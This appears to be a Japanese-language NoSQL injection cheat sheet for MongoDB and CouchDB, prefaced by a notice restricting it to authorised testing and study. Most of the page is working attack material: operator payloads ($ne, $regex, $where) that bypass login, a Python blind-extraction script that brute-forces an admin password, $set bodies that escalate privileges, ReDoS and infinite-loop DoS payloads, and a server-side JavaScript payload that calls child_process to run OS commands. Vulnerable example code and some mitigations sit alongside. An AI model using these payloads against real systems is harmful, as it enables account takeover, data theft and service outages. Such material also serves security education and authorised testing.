NoSQLインジェクション チートシート

cheatsheet

目的別 NoSQLインジェクション手法一覧

⚠️ このチートシートは、セキュリティテストや学習目的でのみ使用してください。許可なくシステムに攻撃を仕掛けることは違法です。

🔑 認証回避 (Authentication Bypass)

ログイン処理などで、ユーザー名やパスワードの検証ロジックを迂回し、不正に認証を突破することを目的とした手法です。 主に、クエリ演算子を悪用して常に真 (True) となる条件を作り出します。

基本的な手法

  • 常にTrueとなる条件の利用: クエリパラメータに特殊な演算子を注入し、データベースが常に真と評価する条件を作成します。
  • 型ジャグリング (Type Juggling): 異なるデータ型を比較させることで、意図しない評価を引き起こします (例: 文字列とオブジェクト)。
  • 演算子の優先順位の悪用: 複雑なクエリで演算子の評価順序を操作します。

代表的なペイロード

手法 ペイロード例 (JSON形式) 説明 主な対象DB 注意点
Not Equal ($ne) {"username": "admin", "password": {"$ne": null}}
{"username": "admin", "password": {"$ne": "random_string"}}
パスワードがnullでない、または特定の文字列でない場合に真となる。正しいパスワードを知らなくても、存在するユーザーであれば認証できる可能性がある。 MongoDB フィールドが存在し、比較可能な型である必要がある。
Greater Than ($gt) {"username": {"$gt": ""}, "password": {"$gt": ""}} ユーザー名とパスワードが空文字列より大きい (つまり、何らかの値を持つ) 場合に真となる。ユーザー名/パスワードが存在すれば認証できる可能性がある。 MongoDB 文字列型のフィールドに対して有効。
Exists ($exists) {"username": "admin", "password": {"$exists": true}} パスワードフィールドが存在する場合に真となる。 MongoDB パスワード検証ロジック自体を迂回するわけではないが、他の手法と組み合わせることがある。
Regex ($regex) {"username": "admin", "password": {"$regex": ".*"}} パスワードが任意の文字列 (空を含む) にマッチする場合に真となる。 MongoDB, CouchDB (Mango Query) フィールドが文字列型である必要がある。
Where ($where) {"$where": "this.username == 'admin'"}
{"$where": "function() { return this.username == 'admin'; }"}
JavaScriptコードを直接実行し、ユーザー名が ‘admin’ である場合に真を返す。パスワードチェックを完全に無視できる。 非常に危険な手法。 MongoDB サーバー側でJavaScript実行が許可されている必要がある。パフォーマンスへの影響が大きい。
JSON 型比較 (Node.jsなど) {"username": "admin", "password[$ne]": null} (URLパラメータ例: ?username=admin&password[$ne]=null) WebアプリケーションがクエリパラメータをJSONオブジェクトに変換する際に、予期せぬ演算子注入が発生する。password[$ne]{"$ne": null}と解釈される。 MongoDB (Express/Mongoose等) フレームワークやライブラリのパラメータ解析方法に依存する。
OR 条件 ($or) {"$or": [{"username": "admin", "password": "wrong_password"}, {"username": "admin", "password": {"$ne": null}}]} 複数の条件のいずれかが真であれば認証される。一つに常に真となる条件を含めることでバイパスを試みる。 MongoDB クエリ構造が$orを受け入れる形になっている必要がある。

コード例 (Python/PyMongo)


from pymongo import MongoClient

client = MongoClient('mongodb://localhost:27017/')
db = client.mydatabase
users = db.users

# 脆弱なログインチェックの例
def login(username, password_payload):
  # password_payload に {"$ne": null} などが注入される可能性がある
  user = users.find_one({"username": username, "password": password_payload})
  if user:
    print(f"ログイン成功: {user}")
    return True
  else:
    print("ログイン失敗")
    return False

# 攻撃例
# login("admin", "incorrect_password") # 通常は失敗
login("admin", {"$ne": None}) # 認証回避試行
      

💾 データ抽出 (Data Extraction)

データベース内に保存されている機密情報(他のユーザーの情報、設定情報など)を不正に取得することを目的とした手法です。 エラーメッセージ、応答時間、ブール値の応答などを利用して情報を少しずつ明らかにしていきます。

抽出方法の種類

  • エラーベース (Error-Based): データベースのエラーメッセージに情報が含まれるように操作する。
  • 時間ベース (Time-Based): クエリの応答時間を操作し、その遅延の有無によって情報を推測する (例: 特定の文字が見つかったら遅延させる)。
  • ブールベース (Boolean-Based): クエリの結果が真か偽かのみが分かる状況で、条件を変えながら繰り返し問い合わせることで情報を特定する。
  • 演算子の悪用: $regex, $where, $in などの演算子を使い、特定のパターンにマッチするデータを検索する。

代表的なペイロードとテクニック

手法カテゴリ ペイロード例 / テクニック 説明 主な対象DB 注意点
ブールベース ($regex) {"username": "admin", "password": {"$regex": "^a.*"}}
{"username": "admin", "password": {"$regex": "^b.*"}}
パスワードが特定の文字で始まるかどうかを総当たりで確認する。応答の違い(例: ログイン成功/失敗、結果表示の有無)から文字を特定していく。 MongoDB, CouchDB 応答から真偽を判断できる必要がある。文字ごとにリクエストが必要。
ブールベース ($where) {"$where": "this.username == 'admin' && this.password.startsWith('a')"} JavaScriptのstartsWith等を利用してパスワードの文字を特定する。応答から真偽を判断する。 MongoDB JavaScript実行が必要。$regexより柔軟な条件が書ける。
時間ベース ($regex) (アプリケーション側の実装に依存)
例: 複雑な正規表現で意図的に負荷をかける。((((((((((a)+)+)+)+)+)+)+)+)+)+)+.*
特定の条件にマッチした場合に、処理に時間がかかる正規表現を実行させる。応答時間の違いで情報を推測する。非常に検出されにくい。 MongoDB, CouchDB 正規表現エンジンの特性を利用。ReDoS攻撃にもつながる。
時間ベース ($where) {"$where": "if (this.username == 'admin' && this.password.startsWith('a')) { sleep(5000); } return false;"} JavaScriptのsleep()関数(またはそれに類する重い処理)を利用。条件が真の場合に意図的に遅延を発生させる。 MongoDB JavaScript実行が必要。sleep()が利用可能である必要がある。検出されにくい。
エラーベース (JavaScript / $where) {"$where": "throw 'Error: ' + this.password"} (単純化された例) JavaScript内で意図的にエラーを発生させ、エラーメッセージに機密情報を含ませる。 MongoDB JavaScript実行が必要。エラーメッセージがユーザーに表示される必要がある。
演算子利用 ($in, $nin) {"apiKey": {"$in": ["knownKey1", "knownKey2", ...]}} 既知の値リストと比較し、合致するデータを探す。総当たり的に使われることもある。 MongoDB データの内容にある程度の推測が必要。

データ抽出スクリプトの概念 (Python/ブールベース)


import requests
import string

# ターゲットURL (例)
url = "http://example.com/api/user"
# 既知のユーザー名
username = "admin"
# 抽出したいパスワード
password = ""
# 試行する文字セット
charset = string.ascii_lowercase + string.digits + "{}_-" # 例

while True:
    found_char = False
    for char in charset:
        # 試行するパスワード
        test_password = password + char
        # ペイロード (例: $regex を使用)
        payload = {
            "username": username,
            "password": {"$regex": f"^{test_password}.*"}
        }
        # 脆弱なAPIエンドポイントにリクエスト
        # response = requests.post(url, json=payload) # または GET など
        response = requests.get(url, params={'query': json.dumps(payload)}) # GETパラメータでJSONを送る例

        # 応答を解析して真偽を判断 (アプリケーションの挙動に依存)
        # 例: 応答に "Success" が含まれるか、ステータスコードが 200 かどうかなど
        if "Success" in response.text: # 仮の成功条件
            password = test_password
            print(f"発見: {password}")
            found_char = True
            break # 次の文字へ

    if not found_char:
        print(f"最終的なパスワード (推定): {password}")
        break # 全ての文字を試しても見つからなければ終了
      

注意: 上記スクリプトは概念を示すものであり、実際のターゲットに合わせてペイロード形式、リクエスト方法、成功条件の判定ロジックを修正する必要があります。

✏️ データ改ざん・追加 (Data Tampering/Addition)

データベース内の既存のデータを不正に変更したり、新たなデータを追加したりする手法です。権限昇格や、他の攻撃の足がかりを作るために利用されることがあります。 主に更新系のクエリ(updateなど)に対するインジェクションが該当します。

主な目的

  • 権限昇格: ユーザーの権限フラグ (例: `isAdmin`) を書き換える。
  • データ汚染: アプリケーションの挙動を不正に操作するためにデータを変更する。
  • 不正なデータ追加: 偽のユーザーアカウントやデータを挿入する。

代表的なペイロード (MongoDB Update演算子)

MongoDBのupdate操作では、第一引数で更新対象ドキュメントを特定し、第二引数で更新内容を指定します。第二引数に更新演算子 ($set, $unset, $inc など) を注入することで、意図しないフィールドの変更が可能になります。

演算子 ペイロード例 (更新部分) 説明 影響例
Set ($set) {"$set": {"isAdmin": True, "email": "attacker@example.com"}} 指定したフィールドの値を設定または更新する。存在しないフィールドは新たに追加される。 管理者権限の奪取、メールアドレスの変更によるアカウント乗っ取り。
Unset ($unset) {"$unset": {"securityQuestion": ""}} 指定したフィールドをドキュメントから削除する。 パスワードリセットに必要なセキュリティ質問の無効化。
Increment ($inc) {"$inc": {"balance": -10000}}
{"$inc": {"loginAttempts": -100}}
指定したフィールドの値を指定した量だけ増減させる。数値型フィールドにのみ適用可能。 残高の不正操作、ログイン試行回数のリセット。
Push ($push) {"$push": {"roles": "admin"}} 配列フィールドに要素を追加する。重複を許す。 ユーザーに不正な役割を追加する。
Add to Set ($addToSet) {"$addToSet": {"permissions": "sudo"}} 配列フィールドに要素を追加する。ただし、同じ要素が既に存在する場合は追加しない。 ユーザーに不正な権限を追加する (重複なし)。
Rename ($rename) {"$rename": {"old_password_hash": "temp_field"}} フィールド名を変更する。 重要なフィールド名を変更し、アクセス不能にする。

コード例 (Node.js/Mongoose – 脆弱な更新処理)


const mongoose = require('mongoose');
const User = mongoose.model('User', new mongoose.Schema({
  username: String,
  profile: mongoose.Schema.Types.Mixed // 任意のデータ構造を許可 (危険!)
}));

// ユーザープロファイル更新API (脆弱な例)
app.post('/updateProfile', async (req, res) => {
  const userId = req.session.userId; // セッションからユーザーID取得 (仮)
  const profileData = req.body.profile; // ユーザーからの入力をそのまま受け取る

  try {
    // profileData に {"$set": {"isAdmin": true}} などが注入される可能性がある
    await User.updateOne({ _id: userId }, { $set: { profile: profileData } });
    // 上記は誤り。正しくは更新したいフィールドを明示的に指定すべき。
    // 以下のように $set 全体を注入できてしまう可能性がある実装が危険
    // await User.updateOne({ _id: userId }, profileData ); // ★非常に危険なパターン★

    // 脆弱な例 (直接 $set などを受け付ける)
    // req.body が {"$set": {"isAdmin": true}} のような形だと改ざん可能
    await User.updateOne({ _id: userId }, req.body);

    res.send('Profile updated successfully');
  } catch (err) {
    res.status(500).send('Error updating profile');
  }
});

// 攻撃リクエストの例 (body部分)
// POST /updateProfile
// Content-Type: application/json
// {"$set": {"isAdmin": true, "email": "hacked@example.com"}}
      

重要: ユーザーからの入力を検証・サニタイズせずに、直接データベースの更新クエリ(特にupdateの第二引数)に使用することは極めて危険です。更新するフィールドは常に明示的に指定し、予期しない演算子が混入しないように注意深く処理する必要があります。

💣 サービス妨害 (Denial of Service – DoS)

データベースサーバーやアプリケーションサーバーのリソース(CPU、メモリ、ディスクI/O)を枯渇させ、正規のユーザーがサービスを利用できないようにする攻撃です。 計算量の多い演算子やクエリを意図的に実行させることで引き起こされます。

DoSを引き起こす主な要因

  • 複雑な正規表現 (ReDoS): マッチングに極端に時間がかかる正規表現 (例: Evil Regex) を $regex で使用する。
  • JavaScriptの無限ループ/重い処理: $where などで実行されるJavaScriptコード内で、無限ループやCPU負荷の高い計算を実行する。
  • 大量データの生成・検索: 意図的に大量のデータを生成させたり、インデックスの効かない広範囲な検索を実行させたりする。
  • リソースを消費する演算子: 特定の条件下でパフォーマンスが劣化する演算子を悪用する。

代表的なペイロード

手法 ペイロード例 説明 主な対象DB
ReDoS ($regex) {"field": {"$regex": "((a+)+)+b"}} (Evil Regex の例) バックトラックが指数関数的に増加するような正規表現を注入し、CPUリソースを消費させる。 MongoDB, CouchDB
JavaScript無限ループ ($where) {"$where": "while(true){}"} JavaScriptコード内で無限ループを実行させ、サーバープロセスをハングさせる。 MongoDB
JavaScript重い処理 ($where) {"$where": "function() { for(var i=0; i<1000000000; i++){ /* heavy computation */ } return true; }"} CPU負荷の高い計算を長時間実行させ、リソースを枯渇させる。 MongoDB
インデックスの効かない検索 {"field": {"$not": {"$regex": ".*"}}} (非効率なクエリ例) インデックスを利用できない、または非常に効率の悪いクエリを実行させ、ディスクI/OやCPU負荷を高める。 MongoDB, CouchDB 등

対策: ユーザー入力に対する正規表現はサーバーサイドで安全なものに限定する、$where の使用を避けるか厳格に制限する、クエリのタイムアウトを設定する、リソース制限を設けるなどの対策が重要です。

💉 サーバーサイドJavaScriptインジェクション (SSJI)

$where, mapReduce, group など、サーバーサイドでJavaScriptコードを実行できる機能を持つNoSQLデータベースにおいて、任意のJavaScriptコードを注入する攻撃です。 成功した場合、データ抽出、改ざん、DoSだけでなく、場合によってはOSコマンドの実行など、より深刻な被害につながる可能性があります。 極めて危険な脆弱性です。

SSJIで可能なこと (環境依存)

  • データベース操作: 他のコレクションの読み取り、書き込み、削除。データベース自体の設定変更。
  • 情報漏洩: データベース内の機密情報、設定情報、環境変数などの取得。
  • サービス妨害 (DoS): 無限ループや重い処理によるリソース枯渇。
  • 外部への通信: 内部ネットワークへのアクセス、外部サーバーへのデータ送信。
  • OSコマンド実行: Node.js環境など、特定の状況下ではOSコマンドが実行可能な場合がある (例: child_process モジュールが利用可能な場合)。

代表的なインジェクションポイントとペイロード

インジェクションポイント ペイロード例 (JavaScript) 説明 主な対象DB
$where (クエリ) "db.adminCommand({listDatabases: 1})"
"this.credit_card.match(/.*/); function() { db.users.find().forEach(printjson); return true; }()"
クエリ条件としてJavaScriptを実行。他のコレクションやデータベースの情報にアクセスを試みる。 MongoDB
mapReduce (Map/Reduce関数) Map: function() { emit(this.username, {password: this.password}); }
Reduce: function(key, values) { /* Do something malicious */ }
Finalize: function(key, reducedValue) { /* Send data externally */ }
MapReduce処理の各段階で任意のJavaScriptを実行。データ集計処理を悪用して情報を抽出・操作する。 MongoDB
group (キー関数, Reduce関数など) {$keyf: function(doc) { /* malicious code */ return {key: doc.key}; }, $reduce: function(curr, result) { /* malicious code */ }, finalize: function(result){ /* malicious code */ }} 非推奨のgroupコマンドのJavaScript関数部分にコードを注入する。 MongoDB (古いバージョン)
Stored JavaScript db.system.js.save({_id: "myMaliciousFunction", value: function(){ /* malicious code */ }}) データベース内にJavaScript関数を保存し、後で呼び出す。 MongoDB

SSJIによるOSコマンド実行の試み (Node.js環境の例)

Node.js環境でMongoDBが動作しており、かつ特定のモジュールが利用可能な場合、以下のようなペイロードでOSコマンド実行が試みられることがあります。これは非常に稀なケースですが、理論的には可能です。


// $where などに注入されるペイロードの例
function() {
  try {
    // Node.js の require を利用しようと試みる (通常はサンドボックス化されている)
    var require = this.constructor.constructor("return process.mainModule.require")();
    var cp = require('child_process');
    // OSコマンドを実行 (例: 'ls /')
    var result = cp.execSync('ls /').toString();
    // 結果を何らかの方法で外部に送信するか、エラーメッセージ等で表示させる
    throw 'Cmd Result: ' + result;
  } catch (e) {
    // エラー処理
    throw 'Cmd Exec Failed: ' + e.message;
  }
  return false; // または true
}
      

最重要対策:

  • サーバーサイドでのJavaScript実行機能 ($where, mapReduce など) の使用を原則禁止する。
  • やむを得ず使用する場合は、ユーザー入力を絶対にコードとして解釈させない。厳格な入力検証とサニタイズを徹底する。
  • データベースの実行権限を最小限に絞る。
  • 可能であれば、JavaScript実行を無効化する設定 (例: MongoDBの security.javascriptEnabled: false) を行う。

コメント

タイトルとURLをコピーしました